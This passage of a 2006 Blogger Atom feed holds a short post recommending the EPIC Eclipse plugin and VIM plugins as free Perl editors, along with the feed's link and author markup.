href='http://www.blogger.com/feeds/18344261/posts/default/113833913743520444'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2006/01/http-compression.html' title='HTTP  Compression'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-113558639505197745</id><published>2006-03-26T00:35:00.000-08:00</published><updated>2007-02-19T01:26:29.755-08:00</updated><title type='text'>perl editors</title><content type='html'>I had to write some perl scripts and was struck to find a good editor esp freeware.&lt;br /&gt;Finally, I found few good ones "EPIC", "VIM"  plugings and they work great.....&lt;br /&gt;&lt;br /&gt;The best is the EPIC plugin for ECLIPSE . It provides many features many formating options like commenting, auto completeion of code, a subrotine viewer, code assist and many more. I like the debugger especially try it out.. more on the other options later...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-113558639505197745?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/113558639505197745/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=113558639505197745' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/113558639505197745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/113558639505197745'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2005/12/perl-editors.html' title='perl editors'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
